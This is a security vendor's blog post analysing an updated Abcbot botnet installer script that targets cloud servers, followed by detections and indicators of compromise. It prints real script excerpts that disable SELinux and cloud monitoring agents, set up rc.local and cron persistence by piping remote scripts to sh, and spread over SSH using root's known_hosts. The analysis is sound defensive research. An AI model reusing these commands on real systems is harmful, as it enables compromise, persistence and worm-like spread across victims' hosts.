

# The Continued Evolution of Abcbot



## Blog

December 21, 2021

A new version of a malicious shell script targeting insecure cloud instances running under Cloud Service Providers such as Tencent, Baidu and Alibaba Cloud has recently been discovered. The shell script prepares the target host for additional compromise over SSH, kills off processes from competing threat actors and persists itself, before downloading an additional ELF executable used to connect to a botnet as part of a campaign dubbed by 360Netlab as “Abcbot”.

home / ec2-user / 56d677ed192b5010aa780d09c23b8ee8dff94d39b20a07c7de76705e5f8c51f

Download

/home/ec2-user/56d677ed192b5010aa780d09c23b8ee8dff94d39b20a07c7de76705e5f8c51f

- http://103.209.103.16:26800/ff.sh
- http://103.209.103.16:26800/xlinux
- http://update.aegis.aliyun.com/download/uninstall.sh
- http://update.aegis.aliyun.com/download/quartz
- 11 more interesting strings

Details

Filesize	53.97 KB
SHA256	56d677ed192b5010aa780d09c23b8ee8dff94d39b20a07c7de76705e5f8c51f
External Resources	OTX, VirusTotal

### Abcbot analysed in Cado Response

Based on function names and other similarities within the code, we believe this shell script is an updated version of an installer used in the Abcbot campaign. An earlier version was originally discovered by Trend Micro and this sample is similar to the one analysed in their report, with some notable differences.

### Malware Analysis

Upon execution the shell script calls a number of functions sequentially, the first of which is named nameservercheck. This function disables SELinux protections, weakening the host machine. It also ensures network connectivity by inserting IPs for Google’s public DNS

servers (8.8.8.8 & 8.8.4.4) into the /etc/resolv.conf file (if they don't exist). Perhaps more interestingly, data transfer utilities such as curl and wget are renamed. This includes two with the paths /usr/bin/wgetnt and /usr/bin/curlnt.

```
43     mv -f /usr/bin/wgetnt /usr/bin/wdt
44     mv -f /usr/bin/curlnt /usr/bin/cdt
```

Given the prevalence of the TeamTNT threat actor, it seems reasonable that the naming convention here is a reference to them. As we'll discuss later, it's clear from this shell script that whoever is behind Abcbot has an awareness of other threat actors working in this area.

In contrast to earlier variants of this sample, the Tor proxy service is no longer installed on the host machine. The code for the installation remains but is commented-out, as can be seen below.

```
82 installsoft() {
83     yum install -y epel-release
84 # if [ ! -f /usr/bin/tor ]
85 # then
86 #     yum install -y tor 2>/dev/null
87 #     apt-get install tor -y 2>/dev/null
88 # fi
89
```

Trend Micro mention that Tor is used by additional payloads to anonymise malicious network connections made by the malware. Updates to the payloads themselves could mean they no longer require this.

## Killing Competitors

What's evident from analysis of this shell script is that the threat actor behind Abcbot is heavily invested in keeping their knowledge of the cloud security threat landscape current. A function named kill\_miner\_proc, which consists of several hundred lines, is dedicated to removing artifacts of crypto mining and cloud-focused malware from the host machine. In it we can see evidence of searching for processes belonging to prominent Linux malware, such as WatchDog and Kinsing, along with generic mining software often used in crypto-jacking campaigns.

```

149 ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
150 ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
151 ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
152 ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
153 ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
154 ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
155 ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
156 ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
157 ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
158 ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
159 ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
160 ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
161 ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
162 ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
163 ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
164 ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
165 ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
166 ps aux | grep -v grep | grep '/tmp/udev' | awk '{print $2}' | xargs -I % kill -9 %

```

Similarly, the malware searches for Docker images and instances used for crypto mining and removes/kills them as appropriate.

```

503 docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rm -f %
504 docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rm -f %
505 docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rm -f %
506 docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rm -f %
507 docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rm -f %
508 docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rm -f %
509 docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rm -f %
510 docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rm -f %
511 docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rm -f %
512 docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rm -f %
513 docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rm -f %
514 docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker rm -f %
515 docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
516 docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
517 docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker rm -f %
518 docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
519 docker ps | grep "patissons/xmrig" | awk '{print $1}' | xargs -I % docker rm -f %
520 docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker rm -f %
521 docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
522 docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker rm -f %
523 docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
524 docker ps | grep "lchaia/xmrig" | awk '{print $1}' | xargs -I % docker rm -f %
525 docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker rm -f %
526 docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
527 docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
528 docker ps | grep "cokkokotre1/update" | awk '{print $1}' | xargs -I % docker rm -f %
529 docker ps | grep "challengerd/challengerd" | awk '{print $1}' | xargs -I % docker rm -f %
530 docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker rm -f %
531 docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
532 docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker rm -f %
533 docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
534 docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker rm -f %
535 docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
536 docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
537 docker ps | grep "/bin/bash" | awk '{print $1}' | xargs -I % docker rm -f %

```

Other notable functionality within kill\_miner\_proc includes the ability to disable and uninstall cloud monitoring solutions found in smaller CSPs, such as the Aliyun Alibaba Cloud Assistant and Tencent's monitoring service. This is likely used to avoid detection by such products during the malware's execution and suggests targeting of specific CSPs by the threat actor.

```

541 ufw disable
542 service apparmor stop
543 systemctl disable apparmor
544 service aliyun.service stop
545 systemctl disable aliyun.service
546 ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
547 ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
548 rm -rf /usr/local/aegis
549
550     if ps aux | grep -i '[a]liyun'; then
551         curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
552         curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
553         cdt http://update.aegis.aliyun.com/download/uninstall.sh | bash
554         cdt http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
555         pkill aliyun-service
556         rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
557         rm -rf /usr/local/aegis*
558         systemctl stop aliyun.service
559         systemctl disable aliyun.service
560         service bcm-agent stop
561         yum remove bcm-agent -y
562         apt-get remove bcm-agent -y
563     elif ps aux | grep -i '[y]unjing'; then
564         /usr/local/qcloud/stargate/admin/uninstall.sh
565         /usr/local/qcloud/YunJing/uninst.sh
566         /usr/local/qcloud/monitor/barad/admin/uninstall.sh
567     fi

```

## Maintaining Access

After initial configuration the malware establishes persistence via rc.local and cron, methods common to UNIX and UNIX-like systems. A command to download a copy of the shell script is added to the /etc/rc.d/rc.local file, which ensures that the file is downloaded and executed in the background on each boot.

```

1066 echo "***CONTENTS WRONG** - inserting correct contents into /etc/rc.d/rc.local"
1067 chattr -ia /etc/rc.d/rc.local
1068 rm -rf /etc/rc.d/rc.local
1069 {
1070     echo "#!/bin/sh"
1071     echo "#rc.local"
1072     echo "#DfsfD3"
1073     echo "curl -A rc.local/1.5 -sL $sh_url1 | sh >/dev/null 2>&1"
1074     echo "cdt -A rc.local/1.5 -sL $sh_url1 | sh >/dev/null 2>&1"
1075     echo "wget -O - $sh_url1 | sh >/dev/null 2>&1"
1076     echo "wdt -O - $sh_url1 | sh >/dev/null 2>&1"
1077     # echo "echo `date +%Y%m%d %H:%M:%S` startlink at linux start..." >> /root/aaa.log"
1078     echo "exit 0"
1079 } >>/etc/rc.d/rc.local
1080 chmod +x /etc/rc.d/rc.local
1081 if test -f /etc/rc.local; then
1082     echo "rc.local exists, deleting in order to make symlink to /etc/rc.d/rc.local"
1083     chattr -ia /etc/rc.d/rc.local
1084     chattr -ia /etc/rc.local
1085     rm /etc/rc.local
1086     ln -s /etc/rc.d/rc.local /etc/rc.local
1087 else
1088     echo "/etc/rc.local does not exist"
1089     ln -s /etc/rc.d/rc.local /etc/rc.local
1090 fi
1091
1092 echo "fixing /etc/rc.d/rc.local - DONE"
1093 #systemctl enable rc-local;
1094 #systemctl start rc-local;
1095 #TODO check if running and start if not or restart instead of start.
1096 #systemctl restart rc-local;

```

A similar approach is used to establish persistence via cron. The script cycles through commands, attempting to download and execute the copy of itself via curl, cdt, wget and wdt at a frequency of 31, 32, 33 and 35 minutes respectively.

```
986     if [ -f "/etc/crontab" ]
987         then
988             cat '/etc/crontab' | grep -vw grep | grep -e $sh_url1 >/dev/null
989             if [ $? -eq 0 ]; then
990                 echo /etc/crontab find ok...
991             else
992                 chattr -ia /etc/crontab
993                 echo "*31 * * * * root curl -A fczyo-cron/1.5 -sL $sh_url1 | sh >/dev/null 2>&1" >> /etc/crontab
994                 echo "*32 * * * * root cdt -A fczyo-cron/1.5 -sL $sh_url1 | sh >/dev/null 2>&1" >> /etc/crontab
995                 echo "*33 * * * * root wget -O - $sh_url1 | sh >/dev/null 2>&1" >> /etc/crontab
996                 echo "*35 * * * * root wdt -O - $sh_url1 | sh >/dev/null 2>&1" >> /etc/crontab
997             chattr +ia /etc/crontab
998         fi
999     fi
```

After both methods of persistence are established, the sample proceeds to configure the Linux iptables firewall via the iptables command. We can observe the iteration of this sample in the function responsible for the iptables setup, as the author has again left some code commented-out.

## Network Access

Previously, it appears that those behind abcbot attempted to configure the iptables firewall to accept ingress traffic from the IP address 64[.]225[.]46[.]44/32. They also appear to have, at one point, added a rule to drop ingress traffic from ports associated with the Docker API (2375/2376). These rules are no longer added to iptables if they are not already present. Instead, the malware adds a more generic rule, to allow all ingress traffic on TCP port 26800. This differs from the sample analysed by Trend Micro and likely facilitates communication with a C2 server, as the IP addresses hosting additional payloads also use this port.

```

1128 iptableschecker() {
1129     if /sbin/iptables-save | grep -q '64.225.46.44'; then
1130         echo "Iptables 64.225.46.44 already set....skipping"
1131     else
1132         echo set up iptables here1
1133         # iptables -I INPUT -s 64.225.46.44/32 -j ACCEPT
1134     fi
1135     #####
1136     if /sbin/iptables-save | grep -q 'dport 2375 -j DROP'; then
1137         echo "Iptables 2375 already set....skipping"
1138     else
1139         echo set up iptables here2
1140         # iptables -I INPUT ! -i lo -p tcp -m tcp --dport 2375 -j DROP
1141         # iptables -A INPUT -p tcp -m tcp --dport 2375 -j DROP
1142     fi
1143
1144     #####
1145     if /sbin/iptables-save | grep -q 'dport 2376 -j DROP'; then
1146         echo "Iptables 2376 already set....skipping"
1147     else
1148         echo set up iptables here3
1149         # iptables -A INPUT -p tcp -m tcp --dport 2376 -j DROP
1150     fi
1151     #####
1152     if /sbin/iptables-save | grep 'dport 26800 -j ACCEPT'; then
1153         echo "Iptables 26800 already set....skipping"
1154     else
1155         echo set up iptables here4
1156         iptables -I INPUT -p tcp --dport 26800 -j ACCEPT
1157     fi
1158
1159     service iptables reload
1160     # service iptables stop
1161     # service iptables start
1162 }

```

Aside from this, the shell script exhibits similar functionality seen in previous versions, with the threat actor removing SSH keys left by similar attacks and inserting their own to guarantee access to the host. The sample also downloads one of the additional ELF binary payloads observed by Trend Micro and saves it as “abchello”. However, the code used to download the third payload appears to be commented-out.

```

1164 filerungo() {
1165     chatter -ia $xl_pathetc
1166
1167 # downloads "http://103.209.103.16:26800/linux64-shell" /tmp/linux64-shell "http://103.209.103.16:26800/linux64-shell"
1168 # mv /tmp/linux64-shell /usr/local/src/services
1169 # chmod +x /usr/local/src/services
1170 # nohup /usr/local/src/services 2>&1 &

```

Finally, if a SSH known\_hosts file and corresponding public key exists in the root user’s .ssh directory, the script iterates through the known hosts, connecting to each one in turn and installing a copy of itself using the data transfer tools mentioned previously. This allows propagation of the malware in a worm-like fashion and ensures rapid compromise of related hosts.

```

1377 fucksshlog()
1378 {
1379     if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
1380         for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHost
KeyChecking=no $ curl -A fczyo-cron/1.5 -sL $ssh_url1 | sh >/dev/null 2>&1 &' & done
1381         for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHost
KeyChecking=no $ cdt -A fczyo-cron/1.5 -sL $ssh_url1 | sh >/dev/null 2>&1 &' & done
1382         for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHost
KeyChecking=no $ wget -O - $ssh_url1 | sh >/dev/null 2>&1 &' & done
1383         for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHost
KeyChecking=no $ wdt -O - $ssh_url1 | sh >/dev/null 2>&1 &' & done
1384     fi
1385 }

```

## Detections

Cado Response detects this threat as `abcbot_installer`.

2021-12-09 ^

2021-12-09 - 09:33:12.000Z cado\_cloud\_collector\_i-0a24f4c54953326f6\_8GB\_1639048135.dd

Last Access Time; Creation Time

/home/ec2-user/56d677ed192b5010aa780d09c23b8ee8fdff94d39b20a07c7de76705e5f8c51f  
 Review the [malware analysis playbook](#) for advice on how to identify and respond to the malware.

- ec2-user ● Malicious File Detected: `abcbot_installer`
- Malicious File Detected: `TeamTNT_Worm_August_2020`
- Malicious File Detected: `cloud_mining_worm`
- Malicious File Detected: `indicator_match`
- Known bad network indicator: `monerohash.com`

/ home / ec2-user / 56d677ed192b5010aa780d09c23b8ee8fdff94d39b20a07c7de76705e5f8c51f Download

/home/ec2-user/56d677ed192b5010aa780d09c23b8ee8fdff94d39b20a07c7de76705e5f8c51f

Details

Filesize	53.97 KB
SHA256	56d677ed192b5010aa780d09c23b8ee8fdff94d39b20a07c7de76705e5f8c51f
External Resources	OTX, VirusTotal

Interesting Strings

```

http://103.209.103.16:26800/ff.sh
http://103.209.103.16:26800/xLinux
http://update.aegis.aliyun.com/download/uninstall.sh
http://update.aegis.aliyun.com/download/quartz
103.209.103.16
8.8.4.4
1.1.1.1
8.8.8.8
158.69.133.18
104.248.4.162
107.174.47.156
83.220.169.247
51.38.203.146
144.217.45.45
107.174.47.181

```

## Indicators of Compromise

Filename	SHA256
ff.sh	56d677ed192b5010aa780d09c23b8ee8fdff94d39b20a07c7de76705e5f8c51f

---

newabchello 22b521f8d605635e1082f3f33a993979c37470fe2980956064aa4917ea1b28d5

## IP Addresses/URLs

---

[http://103\[.\]209\[.\]103\[.\]16:26800/ff.sh](http://103[.]209[.]103[.]16:26800/ff.sh)

[http://103\[.\]209\[.\]103\[.\]16:26800/xlinux](http://103[.]209[.]103[.]16:26800/xlinux)

## References

[https://www.trendmicro.com/zh\\_hk/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html](https://www.trendmicro.com/zh_hk/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html)

[https://blog.netlab.360.com/abcbot\\_an\\_evolving\\_botnet\\_en/](https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/)

For guidance on performing cloud IR, check out our playbooks: [The Ultimate Guide to Ransomware Incident Response & Forensics](#) and [The Ultimate Guide to Docker & Kubernetes Forensics & Incident Response](#)

## About The Author



Matt Muir

Matt is a security researcher with a passion for UNIX and UNIX-like operating systems. He previously worked as a macOS malware analyst and his background includes experience in the areas of digital forensics, DevOps, and operational cyber security. Matt enjoys technical writing and has published research including pieces on TOR browser forensics, an emerging cloud-focused botnet, and the exploitation of the Log4Shell vulnerability.

## About Cado Security

---

Cado Security provides *the* cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom



Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. For more information, please visit <https://www.cadosecurity.com/> or follow us on Twitter [@cadosecurity](https://twitter.com/cadosecurity).

[Prev Post](#) [Next Post](#)